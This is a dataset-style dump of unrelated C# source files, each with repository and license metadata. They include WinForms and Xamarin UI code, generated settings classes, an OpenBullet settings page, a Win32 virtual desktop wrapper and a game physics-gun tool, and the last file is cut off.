this.lblTimeOutput.AutoSize = true;
this.lblTimeOutput.Location = new System.Drawing.Point(83, 164);
this.lblTimeOutput.Name = "lblTimeOutput";
this.lblTimeOutput.Size = new System.Drawing.Size(65, 13);
this.lblTimeOutput.TabIndex = 7;
this.lblTimeOutput.Text = "Time Output";
//
// txtResultsHMS
//
this.txtResultsHMS.Location = new System.Drawing.Point(152, 187);
this.txtResultsHMS.Name = "txtResultsHMS";
this.txtResultsHMS.Size = new System.Drawing.Size(100, 20);
this.txtResultsHMS.TabIndex = 8;
//
// frmTimeBuddy
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(484, 461);
this.Controls.Add(this.grpTimeShifter);
this.Controls.Add(this.grpConverter);
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.Name = "frmTimeBuddy";
this.Text = "Time Buddy";
this.grpConverter.ResumeLayout(false);
this.grpConverter.PerformLayout();
this.grpTimeShifter.ResumeLayout(false);
this.grpTimeShifter.PerformLayout();
this.ResumeLayout(false);
}
#endregion
private System.Windows.Forms.GroupBox grpConverter;
private System.Windows.Forms.Button btnConvCalculate;
private System.Windows.Forms.Label label1;
private System.Windows.Forms.Label lblInput;
private System.Windows.Forms.TextBox txtOutput;
private System.Windows.Forms.TextBox txtInput;
private System.Windows.Forms.GroupBox grpTimeShifter;
private System.Windows.Forms.Label lblTimeOutput;
private System.Windows.Forms.Button btnSubtract;
private System.Windows.Forms.Button btnAdd;
private System.Windows.Forms.TextBox txtResultsS;
private System.Windows.Forms.Label lblT2;
private System.Windows.Forms.TextBox txtT2;
private System.Windows.Forms.Label lblT1;
private System.Windows.Forms.TextBox txtT1;
private System.Windows.Forms.TextBox txtResultsHMS;
}
}
| 44.183333 | 144 | 0.578744 |
[
"MPL-2.0",
"MPL-2.0-no-copyleft-exception"
] |
sfeek/timebuddy
|
frmTimeBuddy.Designer.cs
| 10,606 |
C#
|
using CSharpForMarkup;
using CSharpForMarkupExample.ViewModels;
using CSharpForMarkupExample.Views.Controls;
using Xamarin.Forms;
using static CSharpForMarkup.EnumsForGridRowsAndColumns;
using static CSharpForMarkupExample.Styles;
namespace CSharpForMarkupExample.Views.Pages
{
public class MainPage : BaseContentPage<MainViewModel>
{
public MainPage() => Build();
enum PageRow { Header, Body }
void Build()
{
var app = App.Current;
var vm = ViewModel = app.MainViewModel;
NavigationPage.SetHasNavigationBar(this, false);
BackgroundColor = Colors.BgGray3.ToColor();
Content = new Grid {
RowSpacing = 0,
RowDefinitions = Rows.Define(
(PageRow.Header, Auto),
(PageRow.Body , Star)
),
Children = {
PageHeader.Create(PageMarginSize, nameof(vm.Title), nameof(vm.SubTitle))
.Row (PageRow.Header),
new ScrollView { Content = new StackLayout { Children = {
new Button { Text = nameof(RegistrationCodePage) } .Style (FilledButton)
.FillExpandH () .Margin (PageMarginSize)
.Bind (nameof(vm.ContinueToRegistrationCommand)),
new Button { Text = nameof(NestedListPage) } .Style (FilledButton)
.FillExpandH () .Margin (PageMarginSize)
.Bind (nameof(vm.ContinueToNestedListCommand)),
new Button { Text = nameof(AnimatedPage) } .Style (FilledButton)
.FillExpandH () .Margin (PageMarginSize)
.Bind (nameof(vm.ContinueToAnimatedPageCommand)),
new Label { } .FontSize (20) .FormattedText (
new Span { Text = "Built with " },
new Span { Style = Link }
.BindTap (nameof(vm.ContinueToCSharpForMarkupCommand))
.Bind (nameof(vm.Title)),
new Span { Text = " \U0001f60e" }
) .CenterH ()
}}} .Row (PageRow.Body)
}
};
}
}
}
| 39.533333 | 96 | 0.51054 |
[
"MIT"
] |
VincentH-Net/CSharpForMarkup
|
Example/CSharpForMarkupExample/Views/Pages/MainPage.cs
| 2,374 |
C#
|
//------------------------------------------------------------------------------
// <auto-generated>
// This code was generated by a tool.
// Runtime Version:4.0.30319.42000
//
// Changes to this file may cause incorrect behavior and will be lost if
// the code is regenerated.
// </auto-generated>
//------------------------------------------------------------------------------
namespace LoginControlTester.Properties {
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "15.1.0.0")]
internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
public static Settings Default {
get {
return defaultInstance;
}
}
}
}
| 39.740741 | 151 | 0.584343 |
[
"MIT"
] |
DynamicsValue/PowerPlatform-DataverseServiceClient
|
src/GeneralTools/DataverseClient/Testers/LoginControlTester/Properties/Settings.Designer.cs
| 1,075 |
C#
|
using OpenBullet.Pages.Main.Settings;
using RuriLib;
using System;
using System.ComponentModel;
using System.Linq;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Input;
using System.Windows.Markup;
namespace OpenBullet
{
/// <summary>
/// Logica di interazione per OBSettings.xaml
/// </summary>
public partial class Settings : Page
{
OBSettingsPage OBSettingsPage = new OBSettingsPage();
RLSettingsPage RLSettingsPage = new RLSettingsPage();
public Settings()
{
InitializeComponent();
menuOptionRuriLib_MouseDown(this, null);
}
#region Menu Options MouseDown Events
private void menuOptionRuriLib_MouseDown(object sender, MouseButtonEventArgs e)
{
Main.Content = RLSettingsPage;
menuOptionSelected(menuOptionRuriLib);
}
private void menuOptionOpenBullet_MouseDown(object sender, MouseButtonEventArgs e)
{
Main.Content = OBSettingsPage;
menuOptionSelected(menuOptionOpenBullet);
}
private void menuOptionSelected(object sender)
{
foreach (var child in topMenu.Children)
{
try
{
var c = (Label)child;
c.Foreground = Globals.GetBrush("ForegroundMain");
}
catch { }
}
((Label)sender).Foreground = Globals.GetBrush("ForegroundCustom");
}
#endregion
private void saveButton_Click(object sender, RoutedEventArgs e)
{
IOManager.SaveSettings(Globals.rlSettingsFile, Globals.rlSettings);
}
}
}
| 27.935484 | 90 | 0.607968 |
[
"MIT"
] |
541n7215/KickOff
|
OpenBullet/Pages/Main/Settings.xaml.cs
| 1,734 |
C#
|
using System.Collections.Generic;
using System.Collections.ObjectModel;
namespace Aspen.DailyUpdates.Web.Application.Areas.HelpPage.ModelDescriptions
{
public class EnumTypeModelDescription : ModelDescription
{
public EnumTypeModelDescription()
{
Values = new Collection<EnumValueDescription>();
}
public Collection<EnumValueDescription> Values { get; private set; }
}
}
| 28.533333 | 77 | 0.71729 |
[
"MIT"
] |
thundernet8/DailyUpdates
|
DailyUpdates/Areas/HelpPage/ModelDescriptions/EnumTypeModelDescription.cs
| 428 |
C#
|
using System;
using System.Runtime.InteropServices;
namespace WinMan.Windows
{
public class Win32VirtualDesktop : IVirtualDesktop
{
private readonly Win32Workspace m_workspace;
private readonly IWin32VirtualDesktopService m_vds;
private readonly object m_desktop;
private readonly IntPtr m_hMon;
public event EventHandler<DesktopChangedEventArgs>? Removed;
internal Win32VirtualDesktop(Win32Workspace workspace, IWin32VirtualDesktopService vds, object desktop)
{
m_workspace = workspace;
m_vds = vds;
m_desktop = desktop;
}
public bool IsCurrent
{
get
{
try
{
return m_vds.IsCurrentDesktop(m_hMon, m_desktop);
}
catch (COMException)
{
return false;
}
}
}
public int Index
{
get
{
try
{
return m_vds.GetDesktopIndex(m_hMon, m_desktop);
}
catch (COMException)
{
return m_vds.GetDesktopCount(m_hMon) - 1;
}
}
}
public string Name
{
get
{
try
{
return m_vds.GetDesktopName(m_desktop);
}
catch (COMException)
{
return $"Desktop {m_vds.GetDesktopCount(m_hMon) - 1}";
}
}
}
public IWorkspace Workspace => m_workspace;
public bool HasWindow(IWindow window)
{
try
{
return m_vds.HasWindow(m_desktop, window.Handle) || m_vds.IsWindowPinned(window.Handle);
}
catch (COMException e) when ((uint)e.HResult == /*TYPE_E_ELEMENTNOTFOUND*/ 0x8002802B)
{
return false;
}
}
public void SwitchTo()
{
m_vds.SwitchToDesktop(m_hMon, m_desktop);
}
public override bool Equals(object? obj)
{
return obj is Win32VirtualDesktop desktop &&
m_desktop.Equals(desktop.m_desktop);
}
public override int GetHashCode()
{
return -1324198676 + m_desktop.GetHashCode();
}
public override string ToString()
{
return $"Win32VirtualDesktop {{ Name = {Name}, IsCurrent = {IsCurrent} }}";
}
internal void OnRemoved()
{
try
{
Removed?.Invoke(this, new DesktopChangedEventArgs(this));
}
finally
{
Removed = null;
}
}
public void MoveWindow(IWindow window)
{
try
{
m_vds.MoveToDesktop(window.Handle, m_desktop);
}
catch (Exception e) when (!window.IsAlive)
{
throw new InvalidWindowReferenceException(window.Handle, e);
}
}
public void SetName(string newName)
{
throw new NotImplementedException();
}
public void Remove()
{
throw new NotImplementedException();
}
}
}
| 25.477941 | 111 | 0.472439 |
[
"MIT"
] |
FancyWM/winman-windows
|
src/WinMan.Windows/Windows/Win32VirtualDesktop.cs
| 3,467 |
C#
|
using System.Collections.Generic;
using System.Linq;
namespace Saplin.CPDT.UICore.ViewModels
{
public static class ViewModelContainer
{
private static readonly List<object> singletons = new List<object>();
public static T GetSingletonInstance<T>() where T : BaseViewModel, new()
{
var instance = singletons.Where(i => i is T).FirstOrDefault();
if (instance == null)
{
instance = new T();
singletons.Add(instance);
}
return instance as T;
}
public static DriveTestViewModel DriveTestViewModel
{
get { return ViewModelContainer.GetSingletonInstance<DriveTestViewModel>(); }
}
public static TestSessionsViewModel TestSessionsViewModel
{
get { return ViewModelContainer.GetSingletonInstance<TestSessionsViewModel>(); }
}
public static OptionsViewModel OptionsViewModel
{
get { return ViewModelContainer.GetSingletonInstance<OptionsViewModel>(); }
}
public static NavigationViewModel NavigationViewModel
{
get { return ViewModelContainer.GetSingletonInstance<NavigationViewModel>(); }
}
public static AboutViewModel AboutViewModel
{
get { return ViewModelContainer.GetSingletonInstance<AboutViewModel>(); }
}
public static ErrorViewModel ErrorViewModel
{
get { return ViewModelContainer.GetSingletonInstance<ErrorViewModel>(); }
}
public static ResultsDbViewModel ResultsDbViewModel
{
get { return ViewModelContainer.GetSingletonInstance<ResultsDbViewModel>(); }
}
public static L11n L11n
{
get { return ViewModelContainer.GetSingletonInstance<L11n>(); }
}
public static void Init()
{
object tmp = L11n;
tmp = ResultsDbViewModel;
tmp = ErrorViewModel;
tmp = AboutViewModel;
tmp = NavigationViewModel;
tmp = OptionsViewModel;
tmp = TestSessionsViewModel;
tmp = DriveTestViewModel;
}
}
}
| 29.473684 | 92 | 0.603125 |
[
"MIT"
] |
84PleXon3/CrossPlatformDiskTest
|
Saplin.CPDT.UICore/ViewModels/ViewModelContainer.cs
| 2,242 |
C#
|
using System;
using NUnit.Framework;
namespace Xamarin.iOS.Tasks {
[TestFixture ("iPhone")]
[TestFixture ("iPhoneSimulator")]
public class DocumentPickerTests : ExtensionTestBase {
public DocumentPickerTests (string platform) : base(platform)
{
}
[Test]
public void BasicTest ()
{
this.BuildExtension ("MyWebViewApp", "MyDocumentPickerExtension", Platform, "Debug");
this.TestStoryboardC (AppBundlePath);
}
}
}
| 20.045455 | 88 | 0.721088 |
[
"BSD-3-Clause"
] |
1975781737/xamarin-macios
|
msbuild/tests/Xamarin.iOS.Tasks.Tests/ProjectsTests/Extensions/DocumentPicker.cs
| 443 |
C#
|
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT license. See LICENSE file in the project root for full license information.
namespace Microsoft.VisualStudio.TestPlatform.ObjectModel.Client;
using Interfaces;
using System.Collections.Generic;
using System.Runtime.Serialization;
/// <summary>
/// Class used to define the start test session criteria.
/// </summary>
[DataContract]
public class StartTestSessionCriteria
{
/// <summary>
/// Gets or sets the sources used for starting the test session.
/// </summary>
[DataMember]
public IList<string> Sources { get; set; }
/// <summary>
/// Gets or sets the run settings used for starting the test session.
/// </summary>
[DataMember]
public string RunSettings { get; set; }
/// <summary>
/// Gets or sets the test host launcher used for starting the test session.
/// </summary>
[DataMember]
public ITestHostLauncher TestHostLauncher { get; set; }
}
| 29.5 | 101 | 0.700897 |
[
"MIT"
] |
lbussell/vstest
|
src/Microsoft.TestPlatform.ObjectModel/Client/StartTestSessionCriteria.cs
| 1,005 |
C#
|
// Copyright (c) Microsoft Corporation.
// Licensed under the MIT License.
namespace BuildXL.Native.IO.Windows
{
/// <summary>
/// Status indication of <c>FSCTL_QUERY_USN_JOURNAL</c>.
/// </summary>
public enum QueryUsnJournalStatus
{
/// <summary>
/// Querying the journal succeeded.
/// </summary>
Success,
/// <summary>
/// The journal on the specified volume is not active.
/// </summary>
JournalNotActive,
/// <summary>
/// The journal on the specified volume is being deleted (a later read would return <see cref="JournalNotActive"/>).
/// </summary>
JournalDeleteInProgress,
/// <summary>
/// The queried volume does not support writing a change journal.
/// </summary>
VolumeDoesNotSupportChangeJournals,
/// <summary>
/// Incorrect parameter error happens when the volume format is broken.
/// </summary>
InvalidParameter,
/// <summary>
/// Access denied error when querying the journal.
/// </summary>
AccessDenied,
}
}
| 28.404762 | 125 | 0.561609 |
[
"MIT"
] |
BearerPipelineTest/BuildXL
|
Public/Src/Utilities/Native/IO/Windows/Journaling/QueryUsnJournalStatus.cs
| 1,193 |
C#
|
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
[assembly: AssemblyTitle("Google.Analytics.SDK.UnitTests")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("Google.Analytics.SDK.UnitTests")]
[assembly: AssemblyCopyright("Copyright © 2018")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
[assembly: ComVisible(false)]
[assembly: Guid("534849e2-4f37-41f5-9090-187653e85362")]
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
| 31.428571 | 61 | 0.759091 |
[
"Apache-2.0"
] |
LindaLawton/google-analytics-dotnet-sdk
|
tests/Google.Analytics.SDK.UnitTests/Properties/AssemblyInfo.cs
| 661 |
C#
|
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
//
// Trivial console logger.
//
// BD - September 2014
//
using System;
namespace Pearls.Reaqtor.CSE
{
/// <summary>
/// Logger using Console.Out.
/// </summary>
internal class ConsoleLogger : ILogger
{
/// <summary>
/// Writes the specified message to the logger using the specified color (if specified).
/// </summary>
/// <param name="message">Message to write to the logger.</param>
/// <param name="color">Color to render the message in. If omitted, the currently configured console color is used.</param>
public void WriteLine(string message, ConsoleColor? color = null)
{
if (color != null)
{
Console.ForegroundColor = color.Value;
}
Console.WriteLine(message);
if (color != null)
{
Console.ResetColor();
}
}
}
}
| 27.658537 | 131 | 0.585538 |
[
"MIT"
] |
Botcoin-com/reaqtor
|
Reaqtor/Pearls/CSE/Misc/ConsoleLogger.cs
| 1,136 |
C#
|
using Sandbox;
using Sandbox.Joints;
using System;
using System.Linq;
[Library( "physgun" )]
public partial class PhysGun : Carriable
{
public override string ViewModelPath => "weapons/rust_pistol/v_rust_pistol.vmdl";
protected PhysicsBody holdBody;
protected WeldJoint holdJoint;
protected PhysicsBody heldBody;
protected Vector3 heldPos;
protected Rotation heldRot;
protected float holdDistance;
protected bool grabbing;
protected virtual float MinTargetDistance => 0.0f;
protected virtual float MaxTargetDistance => 10000.0f;
protected virtual float LinearFrequency => 20.0f;
protected virtual float LinearDampingRatio => 1.0f;
protected virtual float AngularFrequency => 20.0f;
protected virtual float AngularDampingRatio => 1.0f;
protected virtual float TargetDistanceSpeed => 50.0f;
protected virtual float RotateSpeed => 0.2f;
protected virtual float RotateSnapAt => 45.0f;
[Net] public bool BeamActive { get; set; }
[Net] public Entity GrabbedEntity { get; set; }
[Net] public int GrabbedBone { get; set; }
[Net] public Vector3 GrabbedPos { get; set; }
public PhysicsBody HeldBody => heldBody;
public override void Spawn()
{
base.Spawn();
SetModel( "weapons/rust_pistol/rust_pistol.vmdl" );
CollisionGroup = CollisionGroup.Weapon;
SetInteractsAs( CollisionLayer.Debris );
}
public override void Simulate( Client client )
{
if ( Owner is not Player owner ) return;
var eyePos = owner.EyePos;
var eyeDir = owner.EyeRot.Forward;
var eyeRot = Rotation.From( new Angles( 0.0f, owner.EyeRot.Angles().yaw, 0.0f ) );
if ( Input.Pressed( InputButton.Attack1 ) )
{
(Owner as AnimEntity)?.SetAnimBool( "b_attack", true );
if ( !grabbing )
grabbing = true;
}
bool grabEnabled = grabbing && Input.Down( InputButton.Attack1 );
bool wantsToFreeze = Input.Pressed( InputButton.Attack2 );
if ( GrabbedEntity.IsValid() && wantsToFreeze )
{
(Owner as AnimEntity)?.SetAnimBool( "b_attack", true );
}
BeamActive = grabEnabled;
if ( IsServer )
{
using ( Prediction.Off() )
{
if ( !holdBody.IsValid() )
return;
if ( grabEnabled )
{
if ( heldBody.IsValid() )
{
UpdateGrab( eyePos, eyeRot, eyeDir, wantsToFreeze );
}
else
{
TryStartGrab( owner, eyePos, eyeRot, eyeDir );
}
}
else if ( grabbing )
{
GrabEnd();
}
}
}
if ( BeamActive )
{
Input.MouseWheel = 0;
}
}
private static bool IsBodyGrabbed( PhysicsBody body )
{
// There for sure is a better way to deal with this
if ( All.OfType<PhysGun>().Any( x => x?.HeldBody?.PhysicsGroup == body?.PhysicsGroup ) ) return true;
if ( All.OfType<GravGun>().Any( x => x?.HeldBody?.PhysicsGroup == body?.PhysicsGroup ) ) return true;
return false;
}
private void TryStartGrab( Player owner, Vector3 eyePos, Rotation eyeRot, Vector3 eyeDir )
{
var tr = Trace.Ray( eyePos, eyePos + eyeDir * MaxTargetDistance )
.UseHitboxes()
.Ignore( owner )
.HitLayer( CollisionLayer.Debris )
.Run();
if ( !tr.Hit || !tr.Body.IsValid() || tr.Entity.IsWorld ) return;
var rootEnt = tr.Entity.Root;
var body = tr.Body;
if ( tr.Entity.Parent.IsValid() )
{
if ( rootEnt.IsValid() && rootEnt.PhysicsGroup != null )
{
body = rootEnt.PhysicsGroup.GetBody( 0 );
}
}
if ( !body.IsValid() )
return;
//
// Don't move keyframed
//
if ( body.BodyType == PhysicsBodyType.Keyframed )
return;
// Unfreeze
if ( body.BodyType == PhysicsBodyType.Static )
{
body.BodyType = PhysicsBodyType.Dynamic;
}
if ( IsBodyGrabbed( body ) )
return;
GrabInit( body, eyePos, tr.EndPos, eyeRot );
GrabbedEntity = rootEnt;
GrabbedPos = body.Transform.PointToLocal( tr.EndPos );
GrabbedBone = tr.Entity.PhysicsGroup.GetBodyIndex( body );
var client = GetClientOwner();
if ( client != null )
{
client.Pvs.Add( GrabbedEntity );
}
}
private void UpdateGrab( Vector3 eyePos, Rotation eyeRot, Vector3 eyeDir, bool wantsToFreeze )
{
if ( wantsToFreeze )
{
heldBody.BodyType = PhysicsBodyType.Static;
if ( GrabbedEntity.IsValid() )
{
var freezeEffect = Particles.Create( "particles/physgun_freeze.vpcf" );
freezeEffect.SetPosition( 0, heldBody.Transform.PointToWorld( GrabbedPos ) );
}
GrabEnd();
return;
}
MoveTargetDistance( Input.MouseWheel * TargetDistanceSpeed );
bool rotating = Input.Down( InputButton.Use );
bool snapping = false;
if ( rotating )
{
EnableAngularSpring( Input.Down( InputButton.Run ) ? 100.0f : 0.0f );
DoRotate( eyeRot, Input.MouseDelta * RotateSpeed );
snapping = Input.Down( InputButton.Run );
}
else
{
DisableAngularSpring();
}
GrabMove( eyePos, eyeDir, eyeRot, snapping );
}
private void EnableAngularSpring( float scale )
{
if ( holdJoint.IsValid )
{
holdJoint.AngularDampingRatio = AngularDampingRatio * scale;
holdJoint.AngularFrequency = AngularFrequency * scale;
}
}
private void DisableAngularSpring()
{
if ( holdJoint.IsValid )
{
holdJoint.AngularDampingRatio = 0.0f;
holdJoint.AngularFrequency = 0.0f;
}
}
private void Activate()
{
if ( !IsServer )
return;
if ( !holdBody.IsValid() )
{
holdBody = new PhysicsBody
{
BodyType = PhysicsBodyType.Keyframed
};
}
}
private void Deactivate()
{
if ( IsServer )
{
GrabEnd();
holdBody?.Remove();
holdBody = null;
}
KillEffects();
}
public override void ActiveStart( Entity ent )
{
base.ActiveStart( ent );
Activate();
}
public override void ActiveEnd( Entity ent, bool dropped )
{
base.ActiveEnd( ent, dropped );
Deactivate();
}
protected override void OnDestroy()
{
base.OnDestroy();
Deactivate();
}
public override void OnCarryDrop( Entity dropper )
{
}
private void GrabInit( PhysicsBody body, Vector3 startPos, Vector3 grabPos, Rotation rot )
{
if ( !body.IsValid() )
return;
GrabEnd();
grabbing = true;
heldBody = body;
holdDistance = Vector3.DistanceBetween( startPos, grabPos );
holdDistance = holdDistance.Clamp( MinTargetDistance, MaxTargetDistance );
heldPos = heldBody.Transform.PointToLocal( grabPos );
heldRot = rot.Inverse * heldBody.Rotation;
holdBody.Position = grabPos;
holdBody.Rotation = heldBody.Rotation;
heldBody.Wake();
heldBody.EnableAutoSleeping = false;
holdJoint = PhysicsJoint.Weld
.From( holdBody )
.To( heldBody, heldPos )
.WithLinearSpring( LinearFrequency, LinearDampingRatio, 0.0f )
.WithAngularSpring( 0.0f, 0.0f, 0.0f )
.Create();
}
private void GrabEnd()
{
if ( holdJoint.IsValid )
{
holdJoint.Remove();
}
if ( heldBody.IsValid() )
{
heldBody.EnableAutoSleeping = true;
}
var client = GetClientOwner();
if ( client != null && GrabbedEntity.IsValid() )
{
client.Pvs.Remove( GrabbedEntity );
}
heldBody = null;
GrabbedEntity = null;
grabbing = false;
}
private void GrabMove( Vector3 startPos, Vector3 dir, Rotation rot, bool snapAngles )
{
if ( !heldBody.IsValid() )
return;
holdBody.Position = startPos + dir * holdDistance;
holdBody.Rotation = rot * heldRot;
if ( snapAngles )
{
var angles = holdBody.Rotation.Angles();
holdBody.Rotation = Rotation.From(
MathF.Round( angles.pitch / RotateSnapAt ) * RotateSnapAt,
MathF.Round( angles.yaw / RotateSnapAt ) * RotateSnapAt,
MathF.Round( angles.roll / RotateSnapAt ) * RotateSnapAt
);
}
}
private void MoveTargetDistance( float distance )
{
holdDistance += distance;
holdDistance = holdDistance.Clamp( MinTargetDistance, MaxTargetDistance );
}
protected virtual void DoRotate( Rotation eye, Vector3 input )
{
var localRot = eye;
localRot *= Rotation.FromAxis( Vector3.Up, input.x );
localRot *= Rotation.FromAxis( Vector3.Right, input.y );
localRot = eye.Inverse * localRot;
heldRot = localRot * heldRot;
}
public override void BuildInput( InputBuilder owner )
{
if ( !GrabbedEntity.IsValid() )
return;
if ( !owner.Down( InputButton.Attack1 ) )
return;
if ( owner.Down( InputButton.Use ) )
{
owner.ViewAngles = owner.OriginalViewAngles;
}
}
public override bool IsUsable( Entity user )
{
return Owner == null || HeldBody.IsValid();
}
}
| 21.843915 | 103 | 0.677122 |
[
"MIT"
] |
KitKatt-Mars/sandbox
|
code/tools/PhysGun.cs
| 8,257 |
C#
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Direct_Response.UsersDb
{
public abstract class Operation
{
public abstract OperationResult execute(Direct_Response_UsersDbEntities entities);
}
public class OperationResult
{
private string message;
private DbItem[] dbItems;
public bool Status { get; set; }
public string Message
{
get { return message; }
set { message = value; }
}
public DbItem[] DbItems
{
get { return dbItems; }
set { dbItems = value; }
}
}
public abstract class DbItem { }
public abstract class CriteriaForSelection { }
}
| 23.352941 | 90 | 0.605793 |
[
"MIT"
] |
dushan95/Direct_Response
|
Direct Response/UsersDb/Operation.cs
| 796 |
C#
|
using Machine.Specifications;
using TA.DigitalDomeworks.DeviceInterface;
using TA.DigitalDomeworks.SharedTypes;
using TA.DigitalDomeworks.Specifications.Contexts;
namespace TA.DigitalDomeworks.Specifications.DeviceInterface.Behaviours
{
[Behaviors]
internal class a_stopped_dome : device_controller_behaviour
{
It should_not_be_rotating = () => Controller.AzimuthMotorActive.ShouldBeFalse();
It should_should_not_be_moving_at_all = () => Controller.IsMoving.ShouldBeFalse();
It should_not_have_a_rotation_direction =
() => Controller.AzimuthDirection.ShouldEqual(RotationDirection.None);
It should_draw_no_shutter_current = () => Controller.ShutterMotorCurrent.ShouldEqual(0);
It should_not_have_a_shutter_direction = () => Controller.ShutterMovementDirection.ShouldEqual(ShutterDirection.None);
It should_have_a_stationary_shutter = () => Controller.ShutterMotorActive.ShouldBeFalse();
}
}
| 51.789474 | 126 | 0.762195 |
[
"MIT"
] |
Tigra-Astronomy/TA.DigitalDomeworks
|
TA.DigitalDomeworks.Specifications/DeviceInterface/Behaviours/a_stopped_dome.cs
| 986 |
C#
|
using System;
using System.Collections.Generic;
using System.Text;
namespace LibraryManager.DTO.Models
{
public class UserDTO
{
//public int Id { get; set; }
public string FirstName { get; set; }
public string LastName { get; set; }
public string UserName { get; set; }
public string Email { get; set; }
public bool IsBanned { get; set;}
public string Role { get; set; }
}
}
| 26.529412 | 48 | 0.59867 |
[
"MIT"
] |
lnupmi11/LibraryManager
|
LibraryManager.DTO/Models/UserDTO.cs
| 453 |
C#
|
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
using System;
using System.Net.Http;
using System.ServiceModel.Channels;
using System.Text;
using System.Threading.Tasks;
using ClientContract;
using CoreWCF;
using CoreWCF.Configuration;
using CoreWCF.Http.Tests.Helpers;
using Helpers;
using Microsoft.AspNetCore.Builder;
using Microsoft.AspNetCore.Hosting;
using Microsoft.Extensions.DependencyInjection;
using Xunit;
using Xunit.Abstractions;
namespace BasicHttp
{
public class ServiceWithSSMXmlSerializerFormatTest : IClassFixture<IntegrationTest<ServiceWithSSMXmlSerializerFormatTest.Startup>>
{
private readonly ITestOutputHelper _output;
private readonly IntegrationTest<Startup> _factory;
public ServiceWithSSMXmlSerializerFormatTest(ITestOutputHelper output, IntegrationTest<Startup> factory)
{
_output = output;
_factory = factory;
}
[Fact]
public void BasicScenarioServiceMessageParameter()
{
IWebHost host = ServiceHelper.CreateWebHostBuilder<Startup>(_output).Build();
using (host)
{
host.Start();
System.ServiceModel.BasicHttpBinding httpBinding = ClientHelper.GetBufferedModeBinding();
var factory = new System.ServiceModel.ChannelFactory<ClientContract.IServiceWithSSMXmlSerializerFormat>(httpBinding,
new System.ServiceModel.EndpointAddress(new Uri("http://localhost:8080/BasicWcfService/Service.svc")));
IServiceWithSSMXmlSerializerFormat channel = factory.CreateChannel();
var result = channel.Identity("test");
Assert.Equal("test", result);
((IChannel)channel).Close();
}
}
[Fact]
public async Task BasicScenarioServiceMessageParameterWithHttpClient()
{
var client = _factory.CreateClient();
const string action = "http://tempuri.org/IServiceWithSSMXmlSerializerFormat/Identity";
var request = new HttpRequestMessage(HttpMethod.Post, new Uri("http://localhost:8080/BasicWcfService/Service.svc", UriKind.Absolute));
request.Headers.TryAddWithoutValidation("SOAPAction", $"\"{action}\"");
const string requestBody = @"<s:Envelope xmlns:s=""http://schemas.xmlsoap.org/soap/envelope/"" xmlns:tem=""http://tempuri.org/"">
<s:Header/>
<s:Body>
<tem:Identity>
<tem:msg>A</tem:msg>
</tem:Identity>
</s:Body>
</s:Envelope>";
request.Content = new StringContent(requestBody, Encoding.UTF8, "text/xml");
//// FIXME: Commenting out this line will induce a chunked response, which will break the pre-read message parser
request.Content.Headers.ContentLength = Encoding.UTF8.GetByteCount(requestBody);
var response = await client.SendAsync(request);
Assert.True(response.IsSuccessStatusCode);
var responseBody = await response.Content.ReadAsStringAsync();
_output.WriteLine(responseBody);
const string expected =
"<s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\">" +
"<s:Body xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\">" +
"<IdentityResponse xmlns=\"http://tempuri.org/\">" +
"<IdentityResult>A</IdentityResult>" +
"</IdentityResponse>" +
"</s:Body>" +
"</s:Envelope>";
Assert.Equal(expected, responseBody);
}
public class Startup
{
public void ConfigureServices(IServiceCollection services)
{
services.AddServiceModelServices();
}
public void Configure(IApplicationBuilder app)
{
app.UseServiceModel(builder =>
{
builder.AddService<Services.ServiceWithSSMXmlSerializerFormat>();
builder.AddServiceEndpoint<Services.ServiceWithSSMXmlSerializerFormat, Services.IServiceWithSSMXmlSerializerFormat>(new BasicHttpBinding(), "/BasicWcfService/Service.svc");
});
}
}
}
}
| 39.486486 | 192 | 0.643167 |
[
"MIT"
] |
JonathanHopeDMRC/CoreWCF
|
src/CoreWCF.Http/tests/ServiceWithSSMXmlSerializerFormatTest.cs
| 4,385 |
C#
|
using System;
using System.Collections.Generic;
using System.Text;
using System.Data;
using System.Data.Common;
using Bam.Net.Data;
namespace Bam.Net.Services.DataReplication.Consensus.Data.Dao
{
public class RaftVoteCollection: DaoCollection<RaftVoteColumns, RaftVote>
{
public RaftVoteCollection(){}
public RaftVoteCollection(Database db, DataTable table, Bam.Net.Data.Dao dao = null, string rc = null) : base(db, table, dao, rc) { }
public RaftVoteCollection(DataTable table, Bam.Net.Data.Dao dao = null, string rc = null) : base(table, dao, rc) { }
public RaftVoteCollection(Query<RaftVoteColumns, RaftVote> q, Bam.Net.Data.Dao dao = null, string rc = null) : base(q, dao, rc) { }
public RaftVoteCollection(Database db, Query<RaftVoteColumns, RaftVote> q, bool load) : base(db, q, load) { }
public RaftVoteCollection(Query<RaftVoteColumns, RaftVote> q, bool load) : base(q, load) { }
}
}
| 48.263158 | 135 | 0.737186 |
[
"MIT"
] |
BryanApellanes/bam.net.shared
|
Services/DataReplication/Consensus/Data/Generated_Dao/RaftVoteCollection.cs
| 917 |
C#
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Mvc;
using System.Web.Routing;
namespace AspNetMvc_MultiTemplateDemo
{
